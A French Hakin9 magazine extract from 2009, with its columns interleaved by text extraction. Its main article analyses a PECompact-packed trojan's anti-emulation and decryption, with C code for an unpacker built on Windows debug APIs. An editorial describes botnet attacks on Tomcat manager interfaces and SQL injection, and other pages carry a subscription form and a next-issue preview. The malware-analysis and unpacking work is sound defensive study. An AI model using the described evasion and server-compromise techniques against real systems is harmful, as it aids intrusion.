est lancé, le code du malware est chiffré et la que lorsque l'on étudie un code malicieux il faut
détection par signature échoue. le faire dans une machine virtuelle qui nous
Pour analyser ces malwares il est nécessaire permettra en cas d'exécution malencontreuse
de les un-packer, de reconstruire l'exécutable du malware de ne pas avoir à formater notre
pour qu'il retrouve sa forme originale et que l'on disque dur, il nous suffira de restaurer l'état de
puisse accéder directement à son code. la machine virtuelle avant l'infection grâce à un
La programmation d'un un-packer snapshot . Nous ouvrons donc le binaire packé
CET ARTICLE permet d'accélérer l'étape de l'un-packing en avec OllyDBG et nous pouvons commencer
EXPLIQUE... l'automatisant, il est alors plus rapide d'analyser l'analyse.
Comment analyser un packer les variantes d'un trojan packées avec le même
simple.
packer. Anti-Émulation
Comment programmer un
un-packer. Pour faire notre un-packer, nous allons Le malware essaie de freiner et de détecter
d'abord analyser le packer afin de comprendre l'émulation de son code par les antivirus en
CE QU'IL FAUT son fonctionnement précis, puis nous allons exécutant 20500 fois l'API TlsFree avec de
SAVOIR... rechercher les points sensibles du packer, par mauvais arguments et en vérifiant le code
Les bases de l'assembleur x86.
exemple l'adresse du saut qui va rendre la d'erreur retourné. Si le code d'erreur est bien
Se servir de OllyDBG (une main au programme, l'endroit où les imports celui attendu ( ERROR _ INVALID _ PARAMETER
grande maitrise n'est pas
nécessaire). du programme sont résolus, etc., ensuite nous 0x57) alors l'exécution du virus se poursuit, sinon
Programmer en C. allons rechercher des signatures dans le packer elle s'arrête.
Des notions sur le format PE
qui nous permettrons de retrouver ces points, Cet anti-antivirus n'est pas très utile, en effet
(Portable Executable). enfin nous programmerons notre un-packer qui le code du packer n'est pas polymorphique et il

72 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN

est facile d'en extraire une signature qui le décompression du programme, il est fort • 1 – déclenchement d'une exception de
détectera à coup sur sans avoir à l'émuler. probable que le déchiffrement du code type ACCESS _ VIOLATION (le processus
Ce genre de technique n'est intéressante et l'anti-antivirus soient intégrés dans un essaie d'écrire à une adresse nulle),
que dans le cas de malwares aboutis, module programmé par le pirate, il est • 2 – l'exception est gérée par un handler
comme protection supplémentaire, seule, plus simple de développer un module précédemment mis en place qui va
la protection que cet anti-émulateur qu'un packer de A à Z (voir Figure 1). rediriger le processus sur la fonction de
offre est nulle. Enfin lorsqu'un antivirus PECompact est un compresseur, pas décompression à proprement parler,
rencontre un saut conditionnel, il analyse un protector, il est donc facile à un-packer. • 3 – la fonction de décompression va
généralement les deux branches du saut. La décompression se déroule selon ce allouer une page mémoire dans laquelle
schéma : va être décompressée le code du loader,
Déchiffrement
Le malware déchiffre ensuite son code qui
Listing 1. Créer un processus en mode debug
a été chiffré au moment où il a été packé.
Chaque octet est chiffré à l'aide d'opération STARTUPINFOA StartupInfo;
PROCESS_INFORMATION ProcessInfo;
réversibles (multiplication, addition, ou
LPCTSTR path = "packed.exe";
exclusif). Enfin il recherche les adresses StartupInfo.cb = sizeof(STARTUPINFO);
des APIs qui vont être utilisées par la StartupInfo.lpReserved = NULL;
fonction qui décompressera le code. StartupInfo.lpDesktop = NULL;
StartupInfo.lpTitle = NULL;
StartupInfo.dwFlags = NULL;
Décompression et résolution StartupInfo.cbReserved2 = 0;
des imports StartupInfo.lpReserved2 = NULL;
CreateProcessA(path,NULL,NULL,NULL,FALSE,DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS
La compression a été faite grâce
, NULL , NULL ,&StartupInfo , &ProcessInfo)
a PECompact (on voit le nom du packer
en mémoire après le déchiffrement), Listing 2. Poser un Hardware Break Point
ce packer obtient un fort taux de
#define OneByteLength 00
compression , l'exécutable passe de #define TwoByteLength 01
828Ko avant compression à 127Ko. #define FourByteLength 3
PECompact met à la disposition du #define BreakOnExec 0
#define BreakOnWrite 1
programmeur un système de module
#define BreakOnAccess 3
qui lui permet d'agir avant ou après la #define GlobalFlag 2
#define LocalFlag 1
#define DR7flag(_size,_type,flag,HBPnum) (((_size<<2 | _type)<< (HBPnum*4 +16))
| (flag << (HBPnum*2)))
CONTEXT Context;
DWORD addrHBP;
DEBUG_EVENT DbgEvt;
HANDLE hThread;
Context.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread,&Context);
Context.Dr0 = addrHBP;
// DR7flag est une macro permettant de calculer la
// valeure de DR7 suivant le type de HBP
// que l'on souhaite poser.

Context.Dr7 = DR7flag(OneByteLength,BreakOnExec,GlobalFlag | LocalFlag,0);


SetThreadContext(hThread,&Context);

Listing 3. Attendre une exception SingleStep (indique que le programme a atteint un HBP)

int WaitForSingleStepExc(void) {
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,DBG_CONTINUE);
while(WaitForDebugEvent(&DbgEvt,INFINITE)) {
if (DbgEvt.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
if (DbgEvt.u.Exception.ExceptionRecord.ExceptionCode ==EXCEPTION_SINGLE_STEP)
return 1;
else
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,
DBG_EXCEPTION_NOT_HANDLED);
} else
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,DBG_CONTINUE);
} return 0;
}
Figure 1. Code de déchiffrement du plugin

1/2009 HAKIN9 73
TECHNIQUE
• 4 – la fonction décompressée va et les champs FirstChunk supprimés. enregistrerons sur le disque puis nous
charger les APIs qui vont être utilisées Généralement les protector détruisent l'IT reconstruirons l'ImportTable.
par le loader, et modifient l'IAT de manière à compliqué
• 5 – un contrôle d'intégrité est effectué l'unpacking. Pour résoudre les imports, Dumper l'exécutable en mémoire
sur le code afin de s'assurer qu'il n'a PECompact va parcourir l'Import Table Une fois que le code est décompressé
pas été corrompu, décompressée, charger les DLLs en mémoire, juste avant que le loader du
• 5 – les sections de l'application sont nécessaires et rechercher les adresses packer rende la main au malware, nous
décompressées puis copiées a leurs des APIs dont le programme aura besoin. allons dumper la mémoire, c'est
emplacements, Schéma simplifié du fonctionnement du à dire que nous allons copier en
• 6 – les imports sont résolus, packer (voir Figure 2). mémoire les headers (le DOS header, le
• 7 – les droits des sections sont ajustés, PE header et les Section headers) ainsi
• 8 – le loader rend la main au code Unpacking manuel que les sections et les coller dans un
décompressé. Nous allons maintenant un-packer fichier grâce a LordPE. Nous ouvrons
l'exécutable manuellement. Une fois que notre binaire packé avec OllyDBG, nous
L'Import Table n'est pas détruite par les sections auront été déchiffrées traçons jusqu'au JMP EAX qui va sauter
PECompact, elle est juste compressée et décompressées, nous les sur l'OEP (Original Entry Point , le point
d'entré original du malware, celui qu'il avait
avant d'être packé) et nous dumpons le
processus avec LordPE (voir Figure 3).

Reconstruire l'Import Table


Section 1 Section 2 Section 3
(OEP) (DATA) (IAT) Maintenant que nous avons dumpé notre
binaire en mémoire, nous devons modifier
certains champs du PE et reconstruire
l'Import Table de notre malware.
Pour cela il y a deux possibilités :

• reconstruire les champs FirstThunk qui


Plugin Décompresse Décompresse Résout les ont été détruits par le packer.
déchiffieur le loader les sections imports
• utiser ImpRec qui va construire une
Import Table à partir de l'Import
Address Table (la table qui contient les
adresses des APIs importées).

Code de Code Nous utiliserons la première technique


Code du 'pirate' PECompact décompressé
dans notre un-packer et la deuxième pour
Mémoire de
l'executable
Mémoire
allouée un-packer manuellement. ImpRec est très
simple d'utilisation, il suffit de lui fournir
Figure 2. Schéma simplifié du fonctionnement du packer l'adresse virtuelle de l'IAT (l'adresse que
l'on voit sous OllyDBG – l'Image Base
(0x400000 la plupart du temps)) et sa taille,
ImpRec ajoutera une section à l'exécutable
dans laquelle il stockera l'IT. ImpRec permet
aussi de modifier l'EP (Entry Point) par l'OEP
si on lui fournit (voir Figure 4).
Pour trouver cette IAT, il nous suffit de
repérer un call [API], de nous rendre
là où est stockée l'adresse de l'API et de
remonter en mémoire jusqu'à ce que
l'on ne voit plus d'adresse d'API. On peut
reprocher a cette méthode de ne pas être
très conventionnelle mais elle a le mérite
d'être simple, rapide et efficace (voir
Figure 5).
Après reconstruction, nous avons un
Figure 3. Dumper le processus avec LordPE exécutable décompressé et parfaitement

74 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN

fonctionnel. Maintenant que nous avons aurons toujours la suite d'instruction PUSH d'octet 0x55, 0x8B, 0xEC, 0x87, 0xEC, 0x5D
compris comment fonctionnait l'intégralité EBP | MOV EBP,ESP | XCHG ESP,EBP pour savoir si notre exécutable est bien
du loader et que nous avons réussi à un- | POP EBP ce qui se traduit par la suite packé par le bon packer, il nous suffit donc
packer manuellement notre binaire, nous
allons pouvoir passer à la programmation
de notre un-packer. Sur Internet
• http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx – Documentation
Programmation de officielle du format PE,
l'un-packer • http://membres.lycos.fr/w32assembly/ace/iczelion/_pe-tut.ace – Traduction en français des
Notre un-packer va travailler exactement tutoriaux de Iczelion sur le format PE par Morgatte,
comme nous l'avons fait, il déboguera • http://msdn.microsoft.com/en-us/library/ms679303(VS.85).aspx – Description des debug APIs,
• http://www.bitsum.com/pecompact.shtml – Site officiel du packer PECompact,
l'exécutable, récupérera les valeurs utiles,
• http://pdos.csail.mit.edu/6.828/2005/readings/i386/s12_02.htm – Description des Debug Registers.
cherchera des signatures, dumpera
l'exécutable en mémoire et reconstruira
l'IAT. Pour déboguer le processus, nous
Listing 4. Mapper le binaire en mémoire et vérifier qu'il comporte une section .nah
utiliserons des APIs que Windows met
à notre disposition, les debug APIs. LPCTSTR path = "packed.exe";
HWND hwndDlg;
HANDLE hFile, hMapp;
Les Debug APIs char* mapping;
PIMAGE_DOS_HEADER pDosHeader;
• 1 – Pour créer un processus en PIMAGE_NT_HEADERS pPE;
PIMAGE_SECTION_HEADER pSection;
mode debug, il suffit d'appeler l'API hFile = CreateFileA(path, GENERIC_READ , FILE_SHARE_READ, NULL , OPEN_EXISTING ,
CreateProcess avec l'argument NULL , NULL);
dwCreationFlags égale à DEBUG _ if (hFile == INVALID_HANDLE_VALUE) {
MessageBoxA(hwndDlg,"Echec lors de l'ouverture du fichier",NULL , MB_ICONERROR);
PROCESS (0x1),
return 0; }
• 2 – Une fois que le processus a été hMapp = CreateFileMapping(hFile, NULL , PAGE_READONLY , 0 , 0 , NULL);
créé, nous pouvons commencer mapping = (char *)MapViewOfFile(hMapp,FILE_MAP_READ,0,0,0);
a recevoir des events (des messages) if (mapping == NULL) {
MessageBoxA(hwndDlg,"Echec lors du mapping du fichier", NULL , MB_ICONERROR);
grâce à l'API WaitForDebugEvent , ces CloseHandle(hMapp);
events nous donnent des informations CloseHandle(hFile);
sur le processus, sur ses threads, sur return 0; }
pDosHeader = (PIMAGE_DOS_HEADER)mapping;
les modules qu'il charge et enfin ils
if (pDosHeader->e_magic != 'ZM') {
nous renseignent lorsque le processus MessageBoxA(hwndDlg,"Dos header non valide", NULL , MB_ICONERROR);
rencontre une exception ce qui nous CloseHandle(hMapp);
permettra plus tard de poser des BPs CloseHandle(hFile);
return 0; }
(des Break Points ou points d'arrêts),
pPE = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + mapping);
• 3 – Pour contrôler l'exécution du loader if (pPE->Signature != 'EP') {
nous utiliserons des HBP (Hardware MessageBoxA(hwndDlg,"PE header non valide", NULL , MB_ICONERROR);
Break Point). Poser un HBP nécessite de CloseHandle(hMapp);
CloseHandle(hFile);
modifier les DRs (Debug Registers) du return 0; }
thread principal, nous utiliserons pour pSection = (PIMAGE_SECTION_HEADER)((PCHAR)pPE + sizeof(IMAGE_FILE_HEADER) +
ce faire les APIs GetThreadContext et pPE->FileHeader.SizeOf OptionalHeader + sizeof(DWORD));
do {
SetThreadContext (voir Lisitngs 1,2 3).
if (pSection->VirtualAddress == 0) {
MessageBoxA(hwndDlg,"La signature .nah n'a pas été trouvé dans les
La détection du packer noms des sections", NULL , MB_ICONINFORMATION);
Il faut être sûr d'avoir affaire au bon packer ou CloseHandle(hMapp);
CloseHandle(hFile);
notre un-packer ne fonctionnera pas et sera
return 0;
susceptible d'exécuter un programme }
malveillant, en effet, si nous posons des BPs if (*(PDWORD)pSection->Name == 'han.')
et que nous lançons le processus, il y a très break;
pSection = (PIMAGE_SECTION_HEADER)((PCHAR) pSection + sizeof(IMAGE_SECTION_
peu de chance pour qu'il break au mêmes HEADER));
adresses et le programme se lancera. }
Pour identifier le packer, nous utiliserons while (1);
CloseHandle(hMapp);
plusieurs signatures, les signatures sont
CloseHandle(hFile);
des suites d'octets invariantes typiques du return mapping;
packer, ainsi à l'EP du programme, nous

1/2009 HAKIN9 75
TECHNIQUE
de rechercher cette suite d'octets à son
Listing 5. Arriver à l'endroit où le loader a fini de décompresser le code et avant qu'il EP, pour plus de précision, nous vérifierons
ne résolve les pointeurs
aussi qu'une section .nah est présente dans
// on break à l'EP le binaire (cette section est celle qui contient
Goto((pPE->OptionalHeader.AddressOfEntryPoint + BaseAddress),ProcessInfo.hThread); le code du loader et son nom est tout le
// on break sur le VirtualAlloc
temps le même), (voir Lisitng 4).
hModKern = GetModuleHandleA("Kernel32");
Goto((DWORD)GetProcAddress(hModKern,"VirtualAlloc"),ProcessInfo.hThread);
// on récupère l'adresse de retour du call VirtualAlloc ainsi que Dumper l'exécutable
// a taille de la future page Nous sommes maintenant sûrs d'avoir
GetThreadContext(ProcessInfo.hThread,&Context);
affaire au bon packer, il nous faut
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)Context.Esp,
&RetnAdd,sizeof(DWORD),&NumberOfBytesRead); maintenant localiser l'instruction du
if (NumberOfBytesRead != sizeof(DWORD)) { loader après l'exécution de laquelle le
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL , MB_ICONINFORMATION);
malware est présent sous sa forme
return TRUE;
}
déchiffrée en mémoire alors que les
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(Context.Esp+8),&AllocSize, imports ne sont pas encore résolus
sizeof(DWORD),&NumberOfBytesRead); (lorsque les imports sont résolus par le
if (NumberOfBytesRead != sizeof(DWORD)) {
loader, les champs OriginalFirstChunk
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL , MB_ICONINFORMATION);
return TRUE; sont écrasés par les adresses des APIs).
} Comme nous l'avons vu, la décompression
// on récupère la valeur de retour de VirtualAlloc et la résolution des imports se fait dans
Goto(RetnAdd,ProcessInfo.hThread);
GetThreadContext(ProcessInfo.hThread,&Context);
une zone mémoire allouée, donc à une
addrAlloc = Context.Eax; adresse que l'on ne peut pas déterminer
pJmpToOEP = RetnAdd+0x69; statiquement. Pour localiser la procédure de
pCallEdi = RetnAdd+0x45;
reconstruction, nous devrons donc analyser
// on vérifie des signatures
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(pJmpToOEP-2),&Sign, dynamiquement le loader via les debug API :
sizeof(DWORD),&NumberOfBytesRead);
if (NumberOfBytesRead != sizeof(DWORD)) { • 1 –se rendre à l'EP du binaire,
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL ,MB_ICONINFORMATION);
• 2 – poser un HBP sur l'API
return TRUE;
} VirtualAlloc ,
if(Sign != 0xE0FF5D5B ) { • 3 – attendre que le programme
MessageBoxA(hwndDlg,"Signature non conforme", NULL ,MB_ICONINFORMATION); l'atteigne, récupérer la taille de la
return TRUE;
}
future page mémoire, poser un HBP
// on va jusqu'au call qui se chargera de décompresser le code sur l'adresse de retour de l'appel,
// et résoudre les imports • 4 –attendre que le processus ai fini
Goto(pCallEdi,ProcessInfo.hThread);
l'appel à VirtualAlloc , récupérer sa
// une fois qu'on est a ce call, la mémoire allouée contient le code du loader
// on peut donc la scanner a la recherche d'une signature qui nous donnera valeur de retour (donc l'adresse de la
// l'adresse où le code est décompressé et où les page mémoire allouée),
// imports ne sont pas encore résolus • 5 – à partir de l'adresse de retour de
PackerMem = (PCHAR)VirtualAlloc(NULL,AllocSize,MEM_COMMIT | MEM_RESERVE,
VirtualAlloc , retrouver le JMP EAX
PAGE_READWRITE);
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)addrAlloc,PackerMem, qui sautera sur l'OEP ainsi que le
AllocSize,&NumberOfBytesRead); CALL EDI qui appellera la fonction de
if (NumberOfBytesRead != AllocSize) { décompression et de résolution des
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL ,MB_ICONINFORMATION);
return TRUE;
imports,
} • 6 – poser un HBP sur le CALL EDI,
addrImportResolver = SearchSign(PackerSign,sizeof(PackerSign) -1, PackerMem, AllocSize); • 7 – attendre que le processus
if (addrImportResolver == 0) {
l'atteigne, la page mémoire allouée
MessageBoxA(hwndDlg,"La recherche de la signature du resolveur d'import a echoué",
NULL , MB_ICONINFORMATION); contient alors le code du loader,
return TRUE; • 8 –scanner la page mémoire
} à la recherche de la signature qui
addrImportResolver += addrAlloc-(DWORD)PackerMem-5;
Goto(addrImportResolver,ProcessInfo.hThread);
indique l'endroit où le loader a finit
// là le processus a fini de décompresser le code il nous reste plus qu'à le dumper de décompresser le code et où il
// de plus l'adresse de l'IT se trouve dans Ecx s'apprête à résoudre les imports,
GetThreadContext(ProcessInfo.hThread,&Context);
• 9 – poser un HBP à cette adresse
addrIT = Context.Ecx – BaseAddress;
// on dump le processus et attendre que le processus l'atteigne,
Dump = DumpProcess(ProcessInfo.hProcess,(char*)BaseAddress); • 10 – dumper l'exécutable en mémoire
(voir Lisitng 5, 6 et 7).

76 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN

Pour dumper le programme en mémoire


Listing 6. Exécuter le code jusqu'à une adresse nous allons commencer par dumper ses
int Goto(DWORD addr,HANDLE hThread) {
headers, d'abord le dos header, puis le
CONTEXT Context; PE header et enfin les section headers,
int RetnValue; nous obtenons alors la taille du binaire
Context.ContextFlags = CONTEXT_ALL;
en mémoire en additionnant les champs
GetThreadContext(hThread,&Context);
Context.Dr0 = addr; VirtualAddress et VirtualSize du dernier
Context.Dr7 |= DR7flag(OneByteLength,BreakOnExec, GlobalFlag | LocalFlag,0); section header. Une fois que nous avons
SetThreadContext(hThread,&Context); cette taille, nous pouvons dumper l'intégralité
RetnValue = WaitForSingleStepExc();
GetThreadContext(hThread,&Context);
du binaire en mémoire (voir Lisitng 8).
Context.Dr0 = 0;
Context.Dr7 = 0; Fixer le dump
SetThreadContext(hThread,&Context);
Pour être totalement fonctionnel, notre dump
if (! RetnValue) return 0;
else return 1;} doit être modifié, nous devons reconstruire
l'IT qui a été détériorée lors du packing – les
Listing 7. Rechercher une signature champs FirstThunk ont étés mis à 0 pour
DWORD SearchSign(char *Sign,DWORD SignSize,char*Mem ,DWORD MemSize) {
optimiser la compression –, il faut aussi
DWORD i,j,k; réaligner les sections dans le fichier – les
for (i=0;i<= MemSize; i++) { tailles des sections et des headers stockées
k = 0;
sur le disque dur doivent être un multiple du
for (j=0;j<SignSize;j++)
if (Mem[i+j] != Sign[j]) champ FileAlignment du PE Header – nous
break; devons remplacer les champs RawAddress
else k++; et RawSize dans les section headers par
if (k==SignSize)
leurs nouvelles valeurs (forcément plus
return (DWORD)(Mem+i);}
return 0;} grandes étant donné que le binaire était
compressé) enfin il faut remplacer la valeur
Listing 8. Dumper le binaire en mémoire de l'entry point par celle de l'original entry
PCHAR DumpProcess(HANDLE hProcess,char* BaseAddress) { point et remplacer l'adresse de l'Import
DWORD AllocSize = 0; Table par celle obtenue lors de l'un-packing
char* Dump; (voir Lisitng 9). Il ne nous reste plus qu'à
IMAGE_DOS_HEADER DosHeader;
recopier le dump dans un fichier pour
IMAGE_NT_HEADERS PE;
PIMAGE_SECTION_HEADER pSectionHeaders; avoir notre exécutable unpacké.
DWORD i=0;
DWORD SectionHeadersSize,NumberOfBytesRead; Conclusion
ReadProcessMemory(hProcess,BaseAddress,&DosHeader,sizeof(IMAGE_DOS_HEADER),
&NumberOfBytesRead);
Le packer que nous avons étudié n'est pas
if (NumberOfBytesRead != sizeof(IMAGE_DOS_HEADER)) très complexe, il n'y a pas de redirection d'API,
return 0; pas de destruction de l'IT, pas de fonctions
ReadProcessMemory(hProcess,BaseAddress + DosHeader.e_lfanew,&PE,sizeof(IMAGE_NT_
redirigées, pas d'anti-debugger néanmoins il
HEADERS),&NumberOfBytesRead);
if (NumberOfBytesRead != sizeof(IMAGE_NT_HEADERS)) permet de se familiariser avec les structures
return 0; des headers Windows et il suffira d'ajouter
SectionHeadersSize = sizeof(IMAGE_NT_HEADERS) des fonctions à notre un-packer pour les
*PE.FileHeader.NumberOfSections;
packers plus complexes. Quoiqu'il en soit,
pSectionHeaders = (PIMAGE_SECTION_HEADER)malloc (SectionHeadersSize);
ReadProcessMemory(hProcess,BaseAddress + DosHeader.e_lfanew + sizeof(IMAGE_FILE_ ce packer ne protège pas efficacement
HEADER) + PE.FileHeader.SizeOfOptionalHeader + sizeof(DWORD),pSectionHeaders, les malwares contre une détection,
SectionHeadersSize,&NumberOfBytesRead);
même par signature, le packer n'étant pas
if (NumberOfBytesRead != SectionHeadersSize) {
free(pSectionHeaders);
polymorphique il est facile d'extraire une
return 0; signature du module développé par le pirate
} et donc de détecter tout les malwares qui
while ((pSectionHeaders+i+1)->VirtualAddress != 0) i ++;
l'utiliseront.
AllocSize = (pSectionHeaders+i)->VirtualAddress + (pSectionHeaders+i)
->Misc.VirtualSize;
free(pSectionHeaders);
Dump = (char *)VirtualAlloc(NULL,AllocSize,MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadProcessMemory(hProcess,BaseAddress,Dump,AllocSize,&NumberOfBytesRead); Baboon
if (NumberOfBytesRead != AllocSize) Baboon pratique le Reverse Engineering depuis
return 0; maintenant trois ans. Membre de la FAT (French
return Dump;} Assembler Team), il fréquente plusieurs forums dédiés
au Reverse et est actuellement en stage chez Sysdream.
Pour le contacter : baboon@sysdream.com

1/2009 HAKIN9 77
ÉCONOMISEZ

22%

Hakin9 Comment se défendre est le plus grand Bimestriel en Europe traitant


de la sécurité informatique. Vous trouverez dans nos pages des articles
pratiques sur les méthode offensives et défensives. Vous profiterez
de programmes, de tutoriels, et de vidéos pratiques.

Avec notre abonnement à 35 EUR :


• Vous économisez 22%
• Vous recevez régulièrement les magazines à votre domicile !
• Vous obtenez un des nombreux cadeaux !

Choisissez votre propre mode d’abonnement :


• par fax au numéro : (+ 48) 22 244 24 59
• par courrier : Software-Wydawnictwo Sp. z o.o.
Bokserska 1, 02-682 Varsovie, Pologne
• par courrier électronique : abonnement@software.com.pl
• par notre site internet : http://www.hakin9.org/prt/view/abonnez-vous.html
BULLETIN D’ABONNEMENT
Merci de remplir ce bon de commande et de nous
le retourner par fax : (+48) 22 244 24 59

comment se dèfendre
ou par courrier :
Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Varsovie, Pologne
Tél. (+33) 170 610 717
E-mail : abonnement@software.com.pl
Yahoo Messenger : software_abonnement

Prénom/Nom ........................................................................................

Entreprise .............................................................................................

Adresse .................................................................................................

................................................................................................................

Code postal ..........................................................................................

Ville ........................................................................................................

Téléphone .............................................................................................

Fax .........................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro ....................

................................................................................................................

En cadeau je souhaite recevoir .......................................................

................................................................................................................

E-mail (indispensable pour envoyer la facture) ................................

................................................................................................................

PRIX D’ABONNEMENT
À HAKIN9 COMMENT SE DÉFENDRE : 35 €
Je règle par :
¨ Carte bancaire n° CB

¨¨¨¨ ¨¨¨¨ ¨¨¨¨ ¨¨¨¨


code CVC/CVV ¨¨¨¨

expire le _______________ date et signature obligatoires

type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)


Abonnez-vous
¨ Chèque
et recevez À la ordre de :

un cadeau ! Software-Wydawnictwo Sp z o.o.


Bokserska 1, 02-682 Varsovie
Pologne
¨ Virement bancaire :
Nom banque :
Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
ÉDITORIAL

Web & Botnets


Un constat s’impose depuis quelques années dans le domaine de la
sécurité des postes clients : la surface d’exposition de ces systèmes
a sensiblement diminué ce qui a modifié les méthodes d’attaques.

A
vec l'ajout de couches de sécurité au balises HTML. Ce nouveau contenu permet
niveau des serveurs de messagerie, de très simplement attaquer les clients de Références :
l'envoi d'e-mails contenant un l'application web. [1] – http://marc.info/?l=tomcat-dev&m=
binaire est une méthode de plus en plus La rentrée 2008 a mis en avant 122312090005568
hasardeuse et de moins en moins efficace des attaques visant les interfaces
de compromettre massivement des d'administration (manager) des serveurs plupart des serveurs tomcat sous Windows
machines et ainsi construire un botnet. Une Tomcat[1]. Utilisant un couple d'identifiants tournent en tant que NT AUTHORITY\System
méthode commence à prendre un essor de par défaut (admin/ ), ces malwares (ou alors que les Unixiens ont depuis longtemps
plus en plus important : la compromission mal-wars) installent une archive web (fichier appris à utiliser des comptes dédiés
via un serveur web (attaque du client de .war) permettant de prendre le contrôle à faibles privilèges.
l'application web) ou la compromission d'un de la machine hébergeant le serveur Une autre technique utilisée est
serveur web directement. d'application. Ces charges malveillantes l'exploitation de remote file inclusion pour
Une première génération de ces sont pour la plupart composées d'une exécuter du code PHP sur le serveur cible
intrus automatiques est basée sur première fonction permettant de modifier le afin soit de compromettre le serveur ou
l'exploitation de vulnérabilités triviales, mot de passe de l'interface d'administration tout simplement d'ajouter du contenu.
mais non ciblées, sur des applications (fichier conf/tomcat-users.xml) avec une Ces robots de compromissions massives
spécifiques. Ces robots cherchent, via chaîne aléatoire. Puis elles installent et mettent en avant une généralisation des
des moteurs de recherche, des modèles lancent des malwares sur le système (grâce attaques au niveau du web.
d'URL du type /index.asp?id= en à Runtime.getRuntime().exec(<malw En effet, la sécurité des infrastructures
espérant qu'un mauvais filtrage permettra are>)). Ces logiciels malveillants sont soit étant maintenant correctement réalisée,
l'exploitation d'une injection SQL du type présents dans l'archive war, soit téléchargés il est de plus en plus difficile de s'attaquer
/index.asp?id=3<injection SQL>. sur des serveurs compromis, soit récupérés directement aux machines. Ce sont donc
Une fois la vulnérabilité découverte, ces à partir d'un en-tête dans la requête HTTP les applications web qui sont devenues
robots modifient les données contenues réalisée par le client. Une chance pour les la cible des attaques car elle restent très
dans la base de données afin de rajouter Unixiens, les versions étudiées lors de la exposées, et sont souvent d'un niveau de
des codes malveillants ou des liens vers rédaction de cet éditorial ne touchent que sécurité faible. Ce sont donc des proies
des sites malveillants. Ces modifications les serveurs Windows, probablement car la faciles, pour le moment...
sont tout simplement effectuées par
modification des colonnes contenant
des chaînes de caractères de tailles À propos de l'auteur
Louis Nyffenegger est consultant en sécurité suisse travaillant chez HSC
suffisantes dans la base. Le robot crée
(Hervé Schauer Consultants - http://www.hsc.fr). Il réalise des audits, études
une procédure qui va chercher toutes et tests d'intrusion. Louis remercie toute l'équipe HSC pour son aide et les
ces colonnes et les modifier en faisant relectures. Louis peut être contacté à l'adresse suivante : Louis.Nyffenegger@h
un UPDATE sur l'ensemble des données sc.fr.
pour y ajouter du code Javascript ou des

80 HAKIN9 1/2009
EN MARS
Dans le prochain numéro
Toute l'actualité du prochain numéro sur le site www.hakin9.org/fr.

DOSSIER
ANTIVIRUS EN ENTREPRISE
En BREF
L’actualité du monde de la sécurité informatique et
SUR LE CD
COMME TOUJOURS DANS CHAQUE
DossIer complet présentant les dangers et les des systèmes d’information. Les nouvelles failles, les NUMÉRO NOUS VOUS PROPOSONS
méthodes de défense. intrusions web et les nouvelles applications. HAKIN9.LIVE AVEC LA DISTRIBUTION
BACKTRACK3.

FOCUS
ISO 27001 DATA
APPLICATIONS COMMERCIALES
EN VERSION COMPLÈTE, ET DES
PROGRAMMES EN EXCLUSIVITÉ,

RECOVERY
Nous vous présenterons la suite du dossier sur POUR LA SÉCURITÉ, LA PROTECTION
la certification/norme ISO 27001 décrite dans le ET LA STABILITÉ DE VOTRE SYSTÈME.
numéro courant. . Dans cette rubrique c’est Vincent le Toux qui vous
présente les risques liés aux données, de la clé DES TUTORIELS, DES VIDÉOS
APPROCHE DE LA VIRTUALISATION USB au serveur, les risques de pertes, mais aussi PRATIQUES AFIN DE MIEUX
DES POSTES DE TRAVAIL de vol de données, les moyens de protections liés COMPRENDRE LES MÉTHODES
Cet article expliquera les principes de la a ces périphériques. OFFENSIVES.
virtualisatiion, les différentes méthodes de
virtualisation ainsi que la manière de les VOUS SOUHAITEZ COLLABOR ER
mettre en æuvre. À L'ÉLABORATION D'ARTICLES
N'HÉSITEZ-PAS À NOUS CONTACTER :

ÉDITORIAL
FR@HAKIN9.ORG

Un regard précis et pertinent sur la sécurité


informatique.

Ce numéro sera disponible en Mars


La rédaction se réserve le droit de
modifier le contenu de la revue.

Le bimensuel hakin9 est publié par Béta-testeurs : Didier Sicchia, Ignace Elle ne fournit pas de support technique lié
Software-Wydawnictwo Sp. z o.o. Kangni Kueviakoé, JF Albertini, Frédéric Jean à l’installation ou l’utilisation des logiciels
Bassaber, Yves Goux, Clément Facciolo, enregistrés sur le CD-ROM.
Président de Software-Wydawnictwo Sp. z o.o. : Grégory Carlet, Rudy Kommer, Anthony Tous les logos et marques déposés sont la
Paweł Marciniak Foignant, Vincent le Toux propriété de leurs propriétaires respectifs.
Directrice de la publication : Dominika Baran Correction : Clémenet Quinton Pour créer les diagrammes on a utilisé le
Rédactrice en chef : Dominika Baran programme
dominika.baran@hakin9.org Les personnes intéressées par la coopération
Fabrication : Marta Kurpiewska sont invitées à nous contacter :
marta.kurpiewska@software.com.pl fr@hakin9.org
Le CD-ROM joint au magazine a été testé avec
DTP : Préparation du CD : Rafal Kwaśny AntiVirenKit de la société G Data Software Sp.
Marcin Ziółkowski Graphics & Design Studio z o.o.
e-mail : marcin@gdstudio.pl Imprimerie, photogravure : 101 Studio, Firma
